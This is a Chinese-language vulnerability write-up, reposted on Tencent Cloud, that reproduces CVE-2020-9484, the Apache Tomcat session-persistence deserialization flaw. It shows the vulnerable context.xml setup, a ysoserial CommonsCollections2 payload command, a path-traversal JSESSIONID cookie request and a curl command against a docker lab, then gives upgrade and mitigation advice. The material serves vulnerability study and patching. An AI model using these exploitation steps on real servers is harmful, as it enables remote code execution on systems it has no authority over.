前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2020-9484反序列化远程代码执行漏洞

CVE-2020-9484反序列化远程代码执行漏洞

作者头像
墙角睡大觉
发布2020-05-28 22:05:56
3.3K0
发布2020-05-28 22:05:56
举报

0X1 漏洞概述

2020年05月21日,Apache官方发布了 Apache Tomcat 远程代码执行 的风险通告,该漏洞编号为 CVE-2020-9484,官方对该漏洞评级:高危。

Apache Tomcat 是一个开放源代码、运行servlet和JSP Web应用软件的基于Java的Web应用软件容器。

当Tomcat使用了自带session同步功能时,使用不安全的配置(没有使用EncryptInterceptor)会存在反序列化漏洞,攻击者通过精心构造的数据包, 可以对使用了自带session同步功能的Tomcat服务器进行攻击。

建议广大用户及时安装最新补丁,做好资产自查/自检/预防工作,以免遭受黑客攻击。

影响版本

  • Apache Tomcat : 10.0.0-M1 to 10.0.0-M4
  • Apache Tomcat : 9.0.0.M1 to 9.0.34
  • Apache Tomcat : 8.5.0 to 8.5.54
  • Apache Tomcat : 7.0.0 to 7.0.103

0X2 漏洞复现

关于漏洞详情,很多文章已经进行分析了,这里不做详细概述,可参考文章最下面文章链接。

漏洞环境可以在本地搭建复现或者使用docker环境。使用本地复现的话去官网下载漏洞版本链接

代码语言:javascript
复制
http://archive.apache.org/dist/tomcat/

配置tomcat的conf/context.xml文件:

代码语言:javascript
复制
<Context>

    ...

    <Manager className="org.apache.catalina.session.PersistentManager"
      debug="0"
      saveOnRestart="false"
      maxActiveSession="-1"
      minIdleSwap="-1"
      maxIdleSwap="-1"
      maxIdleBackup="-1">
        <Store className="org.apache.catalina.session.FileStore" directory="./session" />
    </Manager>
</Context>

部署一个存在以下依赖的webapp(一个存在commons-collections4的jar依赖的web服务,例poc.war)到tomcat:

代码语言:javascript
复制
dependencies {
    compile 'org.apache.commons:commons-collections4:4.0'
}

使用github上的ysoserial工具->https://github.com/frohoff/ysoserial,生成commons-collections4依赖的gadget恶意序列化数据:

代码语言:javascript
复制
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "touch /tmp/tomcat-bug" > /tmp/22222.session

这个启用了session持久化功能FileStore是持久化的漏洞,还可以通过配置conf/server.xml文件,不过是利用session集群同步进行利用,参考:

代码语言:javascript
复制
https://github.com/threedr3am/tomcat-cluster-session-sync-exp

如果使用docker搭建的话利用下面仓库

代码语言:javascript
复制
https://github.com/masahiro331/CVE-2020-9484
$ git clone https://github.com/masahiro331/CVE-2020-9484.git
$ cd CVE-2020-9484
$ docker build -t tomcat:groovy .
$ docker run -d -p 8080:8080 tomcat:groovy

进行搭建即可。

0X3 漏洞利用

发起恶意请求,访问payload数据,在请求中访问session值

代码语言:javascript
复制
GET /bug/api HTTP/1.1
Host: ip:port
Cookie: JSESSIONID=../../../../../../../../../../../../tmp/22222

通过使用docker搭建的环境利用

代码语言:javascript
复制
curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy'

进入容器检查/tmp/rce进行验证:

漏洞存在。

0X4 漏洞加固

通用修补建议:

  • 升级到 Apache Tomcat 10.0.0-M5 及以上版本
  • 升级到 Apache Tomcat 9.0.35 及以上版本
  • 升级到 Apache Tomcat 8.5.55 及以上版本
  • 升级到 Apache Tomcat 7.0.104 及以上版本

临时修补建议:

禁止使用Session持久化功能FileStore。

参考链接:

https://github.com/masahiro331/CVE-2020-9484

https://mp.weixin.qq.com/s/OGdHSwqydiDqe-BUkheTGg

https://github.com/threedr3am/tomcat-cluster-session-sync-exp

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-05-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 安全漏洞环境学习 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 通用修补建议:
  • 临时修补建议:
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档